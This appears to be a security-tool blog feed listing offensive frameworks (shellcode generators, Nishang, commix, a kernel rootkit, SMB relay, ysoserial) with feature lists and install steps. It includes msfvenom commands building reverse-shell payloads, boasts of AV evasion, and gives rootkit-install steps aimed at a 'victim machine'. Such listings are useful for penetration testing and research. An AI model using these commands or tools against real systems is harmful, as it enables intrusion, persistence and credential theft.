improved     ->    ‘elementary OS’ ip address support added (LHOST).
improved     ->    ‘@echo off’ added to all .bat files to hidde letter displays in terminal
added           ->    ‘C-TO-BAT’ powershell Invoke-Shellcode (load shellcode)*new
added           ->    ‘PS1-TO-BAT’ powershell Invoke-Shellcode (load remote payload)*new
added           ->   ‘apache2’ added to deliver your payloads using a malicious URL..
added          ->    stager ‘reverse_tcp_dns’ added to ‘available payloads list’*new
added          ->    ‘gather.rc’ post-exploitation resource file (gather target info)
added          ->    ‘encrypt_PolarSSL’ base64+AES shellcode cypter (manual run)*new
added          ->   ‘SimpleHTTPServerWithupload.py’ a simplehttpserver with download/upload capabilittys if you need it (manual run)
——- ————————————————————————————————————————

[ DISCLAMER ]
The author does not hold any responsibility for the bad use of this tool, remember that attacking targets without prior consent is illegal and punished by law.

Codename: Final Polymorphic Stub. You can see what is a different

Codename: Final Polymorphic Stub.
You can see what is a different

Komodo Venom v1.0.10

Komodo Venom v1.0.10

The script will use msfvenom (metasploit) to generate shellcode in diferent formats ( c | python | ruby | dll | msi | hta-psh ), injects the shellcode generated into one funtion (example: python) “the python funtion will execute the shellcode in ram” and uses compilers like: gcc (gnu cross compiler) or mingw32 or pyinstaller to build the executable file, also starts a multi-handler to recibe the remote connection (reverse shell or meterpreter session).

‘shellcode generator’ tool reproduces some of the technics used by Veil-Evasion framework, unicorn.py, powersploit, etc,etc,etc..”P.S. some payloads are undetectable by AV soluctions yes!!!” one of the reazons for that its the use of a funtion to execute the 2º stage of shell/meterpreter directly into targets ram.

DEPENDENCIES :
— “crisp.sh will download/install all dependencies as they are needed”
— Zenity | Metasploit | GCC (compiler) | Pyinstaller (python-to-exe module)
— python-pip (pyinstaller downloader) | mingw32 (compile .EXE executables)
— pyherion.py (crypter) | PEScrambler.exe (PE obfuscator/scrambler.)

Features
option – build – target – format – output

1 – shellcode – unix – C – C
2 – shellcode – windows – C – DLL
3 – shellcode – windows – DLL – DLL
4 – shellcode – windows – C – PYTHON/EXE
5 – shellcode – windows – C – EXE
6 – shellcode – windows – MSIEXEC – MSI
7 – shellcode – windows – C – RUBY
8 – shellcode – windows – HTA-PSH – HTA
9 – shellcode – windows – PSH-CMD – PS1
10 – shellcode – windows – PSH-CMD – BAT
11 – shellcode – webserver – PHP – PHP
12 – shellcode – multi OS – PYTHON(b64) – PYTHON

F – FAQ (frequent ask questions)
E – exit shellcode generator

Usage:

git clone git://git.code.sf.net/p/crisp-shellcode-generator/shell crisp-shellcode-generator-shell
cd crisp-shellcode-generator-shell
./venom.sh

Updates:
cd cd crisp-shellcode-generator-shell
git pull origin master

[ HOW DOES MSFVENOM ACTUALLY BUILDS SHELLCODE? ]
The default way to generate a windows binarie payload (.exe) using msfvenom its achieved through -f flag (Output format)
msfvenom -p payload-name LHOST=127.0.0.1 LPORT=666 -f exe -o payload.exe

But msfvenom allow us to build shellcode in diferent formats
like: asp, aspx, aspx-exe, dll, elf, exe, exe-small, hta-psh
macho, osx-app, psh, vba, vba-exe, vba-psh, vbs, bash, c
java, perl, powershell, python, ruby, sh, vbscript.
The complete list can be accessed using the follow command: sudo msfvenom --help-formats

now lets generate a simple shellcode to windows/shell/reverse_tcp
chosing powershell as output format "note that we will not use
the flag -o (Save the payload) option, this way the shellcode
generated will only displays in current terminal windows".
Using powershell as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f powershell

Using java as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f java

Using hex as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f hex

our post before | Or Download Old Source: shell.tar.gz (24.9 MB)
Source :http://sourceforge.net/p/crisp-shellcode-generator/

ysoserial v-0.0.3 – A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

$
0
0

Changelog v0.0.3:
+ Refactors and included new JRE <= 1.7u21 gadget chain

ysoserial is a collection of utilities and property-oriented programming “gadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

Example Command: java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd

Example Command:
java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd

Usage & Installation:

wget https://github.com/frohoff/ysoserial/archive/v0.0.3.tar.gz
tar xf v0.0.3.tar.gz
cd ysoserial-0.0.3
mvn package
or
git clone https://github.com/frohoff/ysoserial && cd ysoserial
mvn package
cd target
java -jar ysoserial-0.0.3-all.jar

or

Download : v0.0.3.tar.gz  | v0.0.3.zip
Source : https://github.com/frohoff | Our Post Before

shellsploit-framework v1-beta : New Generation Exploit Development Kit.

$
0
0

Shellsploit let’s you generate customized shellcodes, backdoors, injectors for various operating system. And let’s you obfuscation every byte via encoders.
Requirement:
+ capstone
+ readline

shellsploit

shellsploit

changelog 27/1/2016: shell: exec scripts on maintenance.

Usage & Installation:

git clone https://github.com/b3mb4m/shellsploit-framework && cd shellsploit-framework
sudo pip install capstone
sudo pip install readline
python setup.py -s install
shellsploit (for run)

Updates:
cd shellsploit-framework
git pull origin master

Source : https://github.com/b3mb4m

Metasploit modules to perform SharePoint misconfiguration exploitation.

$
0
0

Metasploit modules to perform SharePoint misconfiguration exploitation. Modules:
+ sharepoint_brute_browse.rb:
This SharePwn module searches for common SharePoint services, directories, and files via brute force browsing. This information can be used to test misconfigured permissions on SharePoint sites. To set an HTTP Error Code other than ‘404’, use the Advanced Option ‘ErrorCode’.

sharepoint_brute_browse

sharepoint_brute_browse

+ sharepoint_version_id.rb:
This SharePwn module performs an initial interrogation of a SharePoint server to discover the installed SharePoint version, as well as the current Health Score and other server information.

sharepoint_version_id

sharepoint_version_id

+ sharepoint_people_enumeration – [IN-DEVELOPMENT] Leverages the People.asmx service to enumerate intenral systems and accounts (This is based on experience during previous engagements, when, with a valid account or misconfigured service, we were able to enumerate system names, network accounts, built-in accounts, etc that were not SP users, but exist in AD.)
+ sharepoint_user_enum – Enumerate SP users module; based on syntaxerr66’s UserID module, updated with additional parameter and other modifications

Example Usage:

git clone https://github.com/0rigen/SharePwn_MSFModules && cd SharePwn_MSFModules
then :
+ copy data folder into /usr/share/metasploit-framework/data/sharepwn/browse_list.txt
+ copy sharepoint_brute_browse.rb, sharepoint_version_id.rb from SharePwn_MSFModules into metasploit module directory
1 Copy Module in metasploit directory
(kali linux example): /usr/share/metasploit-framework/modules/exploit/windows/misc/sharepoint_brute_browse.rb
(kali linux example): /usr/share/metasploit-framework/modules/exploit/windows/misc/sharepoint_version_id.rb
(ubuntu linux example): /opt/metasploit/apps/pro/msf3/modules/exploit/windows/misc/sharepoint_brute_browse.rb
(ubuntu linux example): /opt/metasploit/apps/pro/msf3/modules/exploit/windows/misc/sharepoint_version_id.rb
2 msf > reload_all
3 msf > use exploit/windows/misc/sharepoint_brute_browse
4 msf auxiliary(sharepoint_brute_browse) > info
5 msf auxiliary(sharepoint_brute_browse) > show options
6 msf auxiliary(sharepoint_brute_browse) > show advanced options
7 msf auxiliary(sharepoint_brute_browse) > set [option(s)]

Source : https://github.com/0rigen

Climber – Check UNIX/Linux systems for privilege escalation.

$
0
0

Automated auditing tool to check UNIX/Linux systems misconfigurations which may allow local privilege escalation.
Latest Change 28/1/2016:  Updated Exscript https://github.com/knipknap/exscript (Now This module has been include)

climber

climber

Dependencies:
+ python >= 2.7
+ python-crypto
+ python-mako
+ python-paramiko

Note:
Climber needs Exscript, a Python module and a template processor for automating network connections over protocols such as Telnet or SSH.
Usage:

git clone https://github.com/raffaele-forte/climber && cd climber
python climber.py

Source : https://github.com/raffaele-forte

Nishang v-0.6.3 – PowerShell for penetration testing and offensive security.

$
0
0

Changelog v0.6.3:
+ Added Invoke-Interceptor to the MITM directory.

Parameter Invoke-Interceptor

Parameter Invoke-Interceptor

DESCRIPTION
This script uses MJPEG to stream a target’s desktop in real time. It is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port.
A netcat listener which relays connection to a local port could be used as listener. A browser which supports MJPEG (Firefox) should then be pointed to the local port to see the remote desktop.

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and penetration testing. Nishang is useful during various phases of a penetration test and is most powerful for post exploitation usage.

Nishang v-0.6.0 released: PowerShell for penetration testing and offensive security.

Nishang v-0.6.2 released: PowerShell for penetration testing and offensive security.

Scripts; Nishang currently contains the following scripts and payloads.
+ Antak – the Webshell
– Antak :Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell

+ Backdoors
– HTTP-Backdoor : A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.
– DNS_TXT_Pwnage : A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.
– Execute-OnTime : A backdoor which can execute PowerShell scripts at a given time on a target.
– Gupt-Backdoor : A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.
– Add-ScrnSaveBackdoor : A backdoor which can use Windows screen saver for remote command and script execution.
– Invoke-ADSBackdoor : A backdoor which can use alternate data streams and Windows Registry to achieve persistence.

+ Client
– Out-CHM : Create infected CHM files which can execute PowerShell commands and scripts.
– Out-Word : Create Word files and infect existing ones to run PowerShell commands and scripts.
– Out-Excel : Create Excel files and infect existing ones to run PowerShell commands and scripts.
– Out-HTA : Create a HTA file which can be deployed on a web server and used in phishing campaigns.
– Out-Java : Create signed JAR files which can be used with applets for script and command execution.
– Out-Shortcut : Create shortcut files capable of executing commands and scripts.
– Out-WebQuery : Create IQY files for phishing credentials and SMB hashes.

+ Escalation
– Enable-DuplicateToken : When SYSTEM privileges are required.
– Remove-Update : Introduce vulnerabilities by removing patches.

+ Execution
– Download-Execute-PS : Download and execute a PowerShell script in memory.
– Download_Execute : Download an executable in text format, convert it to an executable, and execute.
– Execute-Command-MSSQL : Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.
– Execute-DNSTXT-Code : Execute shellcode in memory using DNS TXT queries.

+ Gather
– Check-VM : Check for a virtual machine.
– Copy-VSS : Copy the SAM file using Volume Shadow Copy Service.
– Invoke-CredentialsPhish : Trick a user into giving credentials in plain text.
– FireBuster FireListener: A pair of scripts for egress testing
– Get-Information : Get juicy information from a target.
– Get-LSASecret : Get LSA Secret from a target.
– Get-PassHashes : Get password hashes from a target.
– Get-WLAN-Keys: Get WLAN keys in plain text from a target.

+ Keylogger
Log keystrokes from a target.
– Invoke-MimikatzWdigestDowngrade: Dump user passwords in plain on Windows 8.1 and Server 2012
– Get-PassHints : Get password hints of Windows users from a target.

+ Pivot
– reate-MultipleSessions : Check credentials on multiple computers and create PSSessions.
– Run-EXEonRemote Copy and execute an executable on multiple machines.
– Invoke-NetworkRelay Create network relays between computers.

+ Prasadhak
– Prasadhak : Check running hashes of running process against the VirusTotal database.

+ Scan
– Brute-Force : Brute force FTP, Active Directory, MSSQL, and Sharepoint.
– Port-Scan : A handy port scanner

+ Powerpreter
Powerpreter : All the functionality of nishang in a single script module.

+ Shells :
– Invoke-PsGcat: Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent
– Invoke-PsGcatAgent: Execute commands and scripts sent by Invoke-PsGcat.
– Invoke-PowerShellTcp: An interactive PowerShell reverse connect or bind shell
– Invoke-PowerShellTcpOneLine : Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.
– Invoke-PowerShellUdp : An interactive PowerShell reverse connect or bind shell over UDP
– Invoke-PowerShellUdpOneLine : Stripped down version of Invoke-PowerShellUdp.
– Invoke-PoshRatHttps : Reverse interactive PowerShell over HTTPS.
– Invoke-PoshRatHttp : Reverse interactive PowerShell over HTTP.
– Remove-PoshRat : Clean the system after using Invoke-PoshRatHttps
– Invoke-PowerShellWmi : Interactive PowerShell using WMI.
– Invoke-PowerShellIcmp : An interactive PowerShell reverse shell over ICMP.

+ Utility:
– Add-Exfiltration: Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.
– Add-Persistence: Add reboot persistence capability to a script.
– Remove-Persistence: Remote persistence added by the Add-Persistence script.
– Do-Exfiltration: Pipe (|) this to any script to exfiltrate the output.
– Download: Transfer a file to the target.
– Parse_Keys : Parse keys logged by the keylogger.
– Invoke-Encode : Encode and compress a script or string.
– Invoke-Decode : Decode and decompress a script or string from Invoke-Encode.
– Start-CaptureServer : Run a web server which logs Basic authentication and SMB hashes.
— [Base64ToString] [StringToBase64] [ExetoText] [TexttoExe]

Download : Nishang.zip(951 KB) | Our Post Before
Source : http://www.labofapenetrationtester.com/


Commix v0.4b – Automatic All-in-One OS Command Injection and Exploitation Tool.

$
0
0

Roadmap & Changelog
Version 0.3b [2015]:
+ Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests.
+ Added: New option “-l”, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab).
+ Added: Check if Powershell is enabled in target host, if the applied option’s payload is requiring the use of PowerShell.
+ Added: New option “–ps-version”, that checks PowerShell’s version number.
+ Replaced: Some powershell-based payloads, have been replaced by new (more solid) ones, so to avoid “Microsoft-IIS” server’s incompatibilities.
+ Added: Support (in MacOSX platforms) for a tab completion in shell options.
+ Added: Undocumented parameter “-InputFormat none” so to avoid “Microsoft-IIS” server’s hang.
+ Added: Ability for identification of “Microsoft-IIS” servers.
+ Added: Statistical checks for time-related (“time-based”/”tempfile-based”) techniques.
+ Added: Support for Windows-based (cmd / powershell) payloads for every injection technique.ng..

commix-v-0.4B

commix-v-0.4B

Version 0.2b [2015]:
+ Added: Support for recalling previous commands.
+ Added: Versions for “nongit” users (vx.xx-nongit-yyyymmdd).
+ Added: Support for a tab completion in shell options.
+ Added: Support for alternative (Python) os-shell in dynamic code evaluation (aka eval-based) technique.
+ Added: Support for PHP/Python meterpreter on “reverse_tcp” shell option.
+ Added: The “reverse_tcp” shell option.
+ Added: The ability to check for default root directories (Apache/Nginx).
+ Added: Support for removal of (txt) shell files (File-based/Tempfile-based).
+ Added: Support for JSON POST data.
+ Added: The “enumeration” and “file-read” results to log file.
+ Added: The ability to get the user’s approval before re-{enumerate/file-read} target.
+ Added: The ability to stop current injection technique and proceed on the next one(s).

Commix-0-3b

Commix-0-3b

Commix (short for [com]mand [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. Commix is written in Python programming language.

Commix v0.2b-7cc57eb Example screenCapture Updates commix-v-0.1b : Automated All-in-One OS Command Injection and Exploitation Tool. Has been Tested on: Kali Sana, Windows 7/8.1/10, Debian, Ubuntu, Arch-Linux

Commix v0.2b-7cc57eb
Example screenCapture Updates commix-v-0.1b : Automated All-in-One OS Command Injection and Exploitation Tool. Has been Tested on: Kali Sana, Windows 7/8.1/10, Debian, Ubuntu, Arch-Linux

Disclaimer :
The tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes!!

Command Injection Testbeds
A collection of pwnable VMs, that includes web apps vulnerable to command injections.
+ Damn Vulnerable Web App
+ OWASP: Mutillidae
+ bWAPP: bee-box (v1.6)
+ Persistence
+ Pentester Lab: Web For Pentester
+ Pentester Lab: CVE-2014-6271/Shellshock
+ Pentester Lab: Rack Cookies and Commands injection
+ Pentester Academy: Command Injection ISO: 1
+ SpiderLabs: MCIR (ShelLOL)
+ Kioptrix: Level 1.1 (#2)
+ Kioptrix: 2014 (#5)
+ Acid Server: 1
+ Flick: 2
+ w3af-moth
+ commix-testbed

Exploitation Demos:
+ Exploiting DVWA (1.0.8) command injection flaws.
+ Exploiting bWAPP command injection flaws (normal & blind).
+ Exploiting ‘Persistence’ blind command injection flaw.
+ Exploiting shellshock command injection flaws.
+ Upload a PHP shell (i.e. Metasploit PHP Meterpreter) on target host.
+ Upload a Weevely PHP web shell on target host.
+ Exploiting cookie-based command injection flaws.
+ Exploiting user-agent-based command injection flaws.
+ Exploiting referer-based command injection flaws.
+ Rack cookies and commands injection.

Usage

python commix.py [options]

Options:

-h, --help            Show help and exit.
--verbose             Enable the verbose mode.
--install             Install 'commix' to your system.
--version             Show version number and exit.
--update              Check for updates (apply if any) and exit.

Target:

This options has to be provided, to define the target URL.

--url=URL           Target URL.
--url-reload        Reload target URL after command execution.

Request:

These options can be used, to specify how to connect to the target
URL.

--method=METHOD     HTTP method (GET or POST).
--host=HOST         HTTP Host header.
--referer=REFERER   HTTP Referer header.
--user-agent=AGENT  HTTP User-Agent header.
--cookie=COOKIE     HTTP Cookie header.
--headers=HEADERS   Extra headers (e.g. 'Header1:Value1\nHeader2:Value2').
--proxy=PROXY       Use a HTTP proxy (e.g. '127.0.0.1:8080').
--auth-url=AUTH_..  Login panel URL.
--auth-data=AUTH..  Login parameters and data.
--auth-cred=AUTH..  HTTP Basic Authentication credentials (e.g.
                    'admin:admin').

Injection:

These options can be used, to specify which parameters to inject and
to provide custom injection payloads.

--param=PARAMETER   Parameter(s) to inject (use 'INJECT_HERE' tag).
--suffix=SUFFIX     Injection payload suffix string.
--prefix=PREFIX     Injection payload prefix string.
--technique=TECH    Specify a certain injection technique : 'classic',
                    'eval-based', 'time-based' or 'boolean-based'.
--maxlen=MAXLEN     The length of the output on time-based technique
                    (Default: 10000 chars).
--delay=DELAY       Set Time-delay for time-based and boolean-based
                    techniques (Default: 1 sec).
--base64            Use Base64 (enc)/(de)code trick to prevent false-
                    positive results.

Enumeration :

These options can be used, to enumerate the target host.

--current-user  Retrieve current user.
--hostname      Retrieve server hostname.
--is-root       Check if the current user have root privs

Installation:

git clone https://github.com/stasinopoulos/commix
cd commix
python commix.py -h (for helper)
python commix.py --update (for update)

Download : Master.zip | Clone Url
Source : https://github.com/stasinopoulos/ | Our post Before

rkduck is a Linux kernel v4.x.x Rootkit.

$
0
0

NOTICE : This post for research purpose only, Should not be used on your production machine!!
rkduck is a Linux kernel v4.x.x Rootkit.

This is Example for dumping rkduck.ko (Module)

This is Example for dumping rkduck.ko (Module)

Operating System Support:
+ Debian & Kali 2.0
+ Ubuntu 14-15
+ Centos
+ Redhat
+ Fedora

file list:
– forever.sh Script for install and remove rootkit
– Makefile : Compiler Script for rkduck inside folder.

Usage:

git clone https://github.com/QuokkaLight/rkduck && cd rkduck
make 
or cd rkduck and make
./forever.sh install/remove into your victim Machine.
insmod rkduck.ko (for reload rootkit module)

Source: https://github.com/QuokkaLight

Msfvenom Payload Creator (MPC) v-1.4.2.

$
0
0

Changelog v1.4.2 : Now works with Kali-Linux rolling (Note from US: this script work fine at Ubuntu 12-15 & Metaspoit).

mpc v1-4-2

mpc v1-4-2

Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible (only requiring one input) to produce their payload.

Fully automating msfvenom & Metasploit is the end goal (well as to be be able to automate MPC itself). The rest is to make the user’s life as easy as possible (e.g. IP selection menu, msfconsole resource file/commands, batch payload production and able to enter any argument in any order (in various formats/patterns)).

The only necessary input from the user should be defining the payload they want by either the platform (e.g. windows), or the file extension they wish the payload to have (e.g. exe).
+ Can’t remember your IP for a interface? Don’t sweat it, just use the interface name: eth0.
+ Don’t know what your external IP is? MPC will discover it: wan.
+ Want to generate one of each payload? No issue! Try: loop.
+ Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem. Try: batch (for everything), batch msf (for every Meterpreter option), batch staged (for every staged payload), or batch cmd stageless (for every stageless command prompt)!

Note: This will NOT try to bypass any anti-virus solutions at any stage.
Install
+ Designed for Kali Linux v2.x & Metasploit v4.11+.
+ Kali v1.x should work.
+ OSX 10.11+ should work.
+ Ubuntu 12-15 & Metasploit Should work.
+ Weakerth4n 6+ should work.
+ …nothing else has been tested.

Installation using git:

git clone https://github.com/g0tmi1k/mpc && cd mpc
./mpc.sh

update
cd mpc 
git pull

Download : v1.4.2.zip  | v1.4.2.tar.gz
Source : https://github.com/g0tmi1k
Our Post Before : http://seclist.us/msfvenom-payload-creator-mpc-v-1-4-1.html

PowerSCCM – PowerShell module to interact with SCCM databases for both offensive & defensive applications.

$
0
0

PowerSCCM is a Functions to facilitate connections to and queries from SCCM databases for both offensive and defensive applications. The code is kept PowerShell Version 2.0 compliant with no external dependencies.

Usage:
PowerSCCM will keep track of established SCCM database sessions, allowing you to reuse these sessions with common queries. To establish a new session, use New-SCCMSession along with the name of the computer with the SCCM database (-ComputerName) and the SCCM site database name (-DatabaseName):
New-SCCMSession -ComputerName SCCM.testlab.local -DatabaseName CM_LOL

This session is now stored in $Script:SCCMSessions and reusable by Get-SCCMSession.

To find the available SCCM databases on a server you have access to, use Find-SCCMDatabase:
Find-SCCMDatabase -ComputerName SCCM.testlab.local

To retrieve all current SCCM session objects, us Get-SCCMSession with optional -Id, -Name, -ComputerName, or -DatabaseName arguments. To close and remove a session, use Remove-SCCMSession with any of the same arugments, or the -Session argument for a SCCM session object (passable on the pipeline).
Get-SCCMSession | Remove-SCCMSession

Functions to facilitate connections to and queries from SCCM databases for both offensive and defensive applications.

Functions to facilitate connections to and queries from SCCM databases for both offensive and defensive applications.

SCCM Database/Server Functions

Various functions that deal with querying/changing information concerning the SCCM database or server, as opposed to dealing with querying inventoried client information.

Find-SCCMDatabase

Finds the accessible SCCM databases given a MSSQL server.
+ Get-SCCMApplicationCI : Returns information on user-deployed applications in an SCCM database.
+ Get-SCCMPackage : Returns information on user-deployed packages in an SCCM database.
+ Get-SCCMConfigurationItem : Returns SCCM configuration items in an SCCM database.
+ Set-SCCMConfigurationItem : Sets a field to a particular value for a SCCM configuration keyed by CI_ID.
+ Get-SCCMCollection : Returns SCCM collections that exist on the primary site server.
+ Get-SCCMCollectionMember : Returns SCCM collection members.

Get-SCCM*

Query functions require -Session (passable on the pipeline):
– Get-SCCMSession | Get-SCCMRecentlyUsedApplication | Export-CSV -NoTypeInformation recent_apps.csv
– Get-SCCMRecentlyUsedApplication -Session $Session | Export-CSV -NoTypeInformation recent_apps.csv
All of these functions also share a common set of optional parameters:

-Newest – return only the X newest entries from the database.
-OrderBy – order the results by a particular field.
-Descending – if -OrderBy is set, display results in descending order.
-ComputerNameFilter – only return results for a particular computer name.
-TimeStampFilter – the SCCM collection timestamp to filter on, accepts <> operators.
Each function also has a set of custom -XFilter parameters that allow for query filtering on specific field names/values.

+ Get-SCCMService : Returns information on the current set of running services as of the last SCCM agent query/checkin.
+ Get-SCCMServiceHistory : Returns information on the historical set of running services as of the last SCCM agent query/checkin.
+ Get-SCCMAutoStart : Returns information on the set of autostart programs as of the last SCCM agent query/checkin.
+ Get-SCCMProcess : Returns information on the set of currently running processes as of the last SCCM agent query/checkin.
+ Get-SCCMProcessHistory : Returns information on the historical set of running processes as of the last SCCM agent query/checkin.
+ Get-SCCMRecentlyUsedApplication : Returns information on recently launched applications on hosts as of the last SCCM agent query/checkin.
+ Get-SCCMDriver : Returns information on the set of currently laoded system drivers as of the last SCCM agent query/checkin.
+ Get-SCCMConsoleUsage : Returns historical information on user console usage as of the last SCCM agent query/checkin.
+ Get-SCCMSoftwareFile : Returns information on inventoried non-Microsoft software files. This option is not enabled by default in SCCM- we recommend setting SCCM to inventory all *.exe files on hosts.
+ Get-SCCMBrowserHelperObject : Returns information on discovered browser helper objects. This option is not enabled by default in SCCM.
+ Get-SCCMShare : Returns information on discovered shares.This option is not enabled by default in SCCM.
+ Get-SCCMPrimaryUser : Returns user/machine pairings where the user is set as a ‘Primary User’ through SCCM.

Find-SCCM*
+ Meta-functions that use the Get-SCCM* query functions to find common ‘bad’ things. All of these functions -Session (passable on the pipeline).
+ Find-SCCMRenamedCMD : Finds renamed cmd.exe executables using Get-SCCMRecentlyUsedApplication and appropriate filters.
+ Find-SCCMUnusualEXE : Finds recently launched applications that don’t end in *.exe using Get-SCCMRecentlyUsedApplication and appropriate filters.
+ Find-SCCMRareApplication : Finds the rarest -Limit recently launched applications that don’t end in *.exe using Get-SCCMRecentlyUsedApplication and appropriate filters.
+ Find-SCCMPostExploitation : Finds recently launched applications commonly used in post-exploitation.
+ Find-SCCMPostExploitationFile : Finds indexed .exe’s commonly used in post-exploitation.
+ Find-SCCMMimikatz :Finds launched mimikatz instances by searching the ‘FileDescription’ and ‘CompanyName’ fields of recently launched applications.
+ Find-SCCMMimikatzFile : Finds inventoried mimikatz.exe instances by searching the ‘FileDescription’ field of inventoried .exe’s.

SCCM Active Directory Functions
+ Get-SCCMADForest : Returns information on Active Directory forests enumerated by SCCM agents.
+ Get-SCCMADUser : Returns information on Active Directory users enumerated by SCCM agents.
+ Get-SCCMADGroup : Returns information on Active Directory group enumerated by SCCM agents.
+ Get-SCCMADGroupMember : Returns information on Active Directory group membership enumerated by SCCM agents.

Download : PowerSCCM.zip
Source : https://github.com/PowerShellMafia

Chuckle – An automated SMB Relay Script.

$
0
0

Chuckle – An automated SMB Relay Script.
Latest Change 2/3/2016 : chuckle.sh; Modified to use unixwiz nbtscan for reliability.

chuckle.sh

chuckle.sh

Chuckle requires a few tools to work:
+ Nmap
+ Responder
+ SMBRelayX
+ Latest version of Veil
+ metasploit

Usuage should be fairly simple, run as root or use sudo:

sudo ./chuckle.sh

Wait a while or coax a prvileged user into authenticating against you and you should end up with a shell on your target machine.  Be careful when running this and never run on a network you are not permitted to do so.

Usage :

git clone https://github.com/nccgroup/chuckle && cd chuckle
sudo ./chuckle.sh

Source: https://github.com/nccgroup

Brosec v0.2 – An interactive reference tool to help security professionals utilize useful payloads and commands.

$
0
0

Changelog v0.2 (Feb 15, 2016):
++ Features
bros ftp
– New feature added to allow for a simple (insecure) ftp server which allows download/upload of the current directory via anonymous

++ connections.
bros set lhost
– This feature (ran from the command line) will help you set the LHOST variable by prompting you with the available list of network +++

++ interfaces.
+ Dependencies
– ftpd (nodejs module)
– Required for the bros ftp feature

Brosec-v-0-2

Brosec-v-0-2

Brosec – An interactive reference tool to help security professionals utilize useful payloads and commands.

Brosec - Console

Brosec – Console

Overview :
– Brosec is a RTFM-like utility to help Security Bros remember complex but useful payloads and commands
– Brosec utilizes saved variables (set by you) to create custom payloads on the fly. This config info is stored in a local db for your convenience
– Brosec outputs payloads and copies it to your clipboard in order to make your pentesting even more magical
– Your current config can be accessed by the config command at any time, or by entering the variable name
– Config values can be changed at any time by entering set <variable> <value>
– You can navigate to frequently used payloads by entering the menu sequence from the command line: bros <sequence>
Ex: bros 412 – This would automate entering 4 for the Web Menu, 1 for the XXE sub menu, and 3 for the XXE local file read payload

Installation
Mac
+ brew install node netcat – Install Nodejs and netcat (or nc, ncat, etc)
+ git clone https://github.com/gabemarshall/Brosec.git – Clone Brosec repo
+ cd Brosec && npm install – cd into the directory and install npm depdendencies

Linux
+ <package manager> install node build-essential g++ xsel netcat Install Nodejs and other dependencies
+ git clone https://github.com/gabemarshall/Brosec.git – Clone Brosec repo
+ cd Brosec && npm install – cd into the directory and install npm depdendencies

Windows (Unsupported)
+ Install nodejs
+ Install ncat
+ git clone https://github.com/gabemarshall/Brosec.git – Clone Brosec repo
Payloads that utilize netcat will not work due to the kexec library not being supported in Windows

Configuration:
Brosec stores configuration values in a local json db file. The default storage location is /var/tmp, but can be changed by editing settings.dbPath variable in the settings.js file. Brosec also uses netcat for several payloads. If needed, the path to netcat can be altered via the settings.netcat variable.
Payload Variables;
+ LHOST : Local IP or name
+ LPORT : Local IP or name
+ RHOST : Remote IP or name
+ RPORT : Remote IP or name
+ USER : Username (only used in a few payloads)
+ PROMPT : User Prompt (This isn’t a stored value. Instead, payloads with this variable will prompt for input.)

Download : Master.zip  | Clone Url | Our Post before
Source : https://github.com/gabemarshall

Libsafe Multi-threaded Process Race Condition Security Bypass Weakness.

$
0
0

Libsafe Multi-threaded Process Race Condition Security Bypass Weakness implementations.
Latest change 6/2/2016: add legend to figure.
Libsafe will normally kill an application when certain types of memory corruption are detected, preventing exploitation of some buffer overflow and format string vulnerabilities. A weakness has been reported that may allow Libsafe security failsafe mechanisms to be bypassed.
This vulnerability is due to a race condition that may be exposed when Libsafe is used with multi-threaded applications. The result is that Libsafe security features may be bypassed and an attack that would ordinarily be prevented may succeed. It should be noted that this is an implementation error in Libsafe that does not present a security risk unless there is a memory corruption vulnerability in a multi-threaded application on an affected computer.

an example object dump from thread.

an example object dump from thread.

Libsafe only works on 32-bit architectures; 
1) make build: Builds Libsafe, compiles the proof of concept exploit ‘thread’, and compiles the library interposition code ‘interpose.so’.
make random MAX_DELAY=x: Randomizes the interposed delays in ‘interpose.so’ with miximum delay MAX_DELAY per interposition.
2) bug.sh: Runs the PoC exploit ‘thread’ in an environment that preloads Libsafe.
3) repeatbug.py: Runs bug.sh 1000 times and reports the number of times that Libsafe worked properly.
4) bug-interpose.sh: Runs the PoC exploit in an environment that preloads Libsafe as well as the library interposition code ‘interpose.so’
5) repeatbug-interpose.py: Runs bug-interpose.sh 1000 times and reports the number of times that Libsafe worked properly.
6) gen_interpose.py: Generates interpose.c based off the function prototypes listed in ‘func_names.txt’.

thread

thread

usage:

git clone https://github.com/tagatac/libsafe-CVE-2005-1125
cd libsafe-CVE-2005-1125
make
and run step by step.

Source: http://www.securityfocus.com/bid/13190/info | https://github.com/tagatac


Al-Khaser v0.3 – a PoC malware with good intentions that aimes to stress your anti-malware system.

$
0
0

Changelog v0.3:
+ All structure file has been change
+ feature : Anti-virtualization.

al-khaser is a PoC malware with good intentions that aimes to stress your anti-malware system.

al-khaser is a PoC malware with good intentions that aimes to stress your anti-malware system.

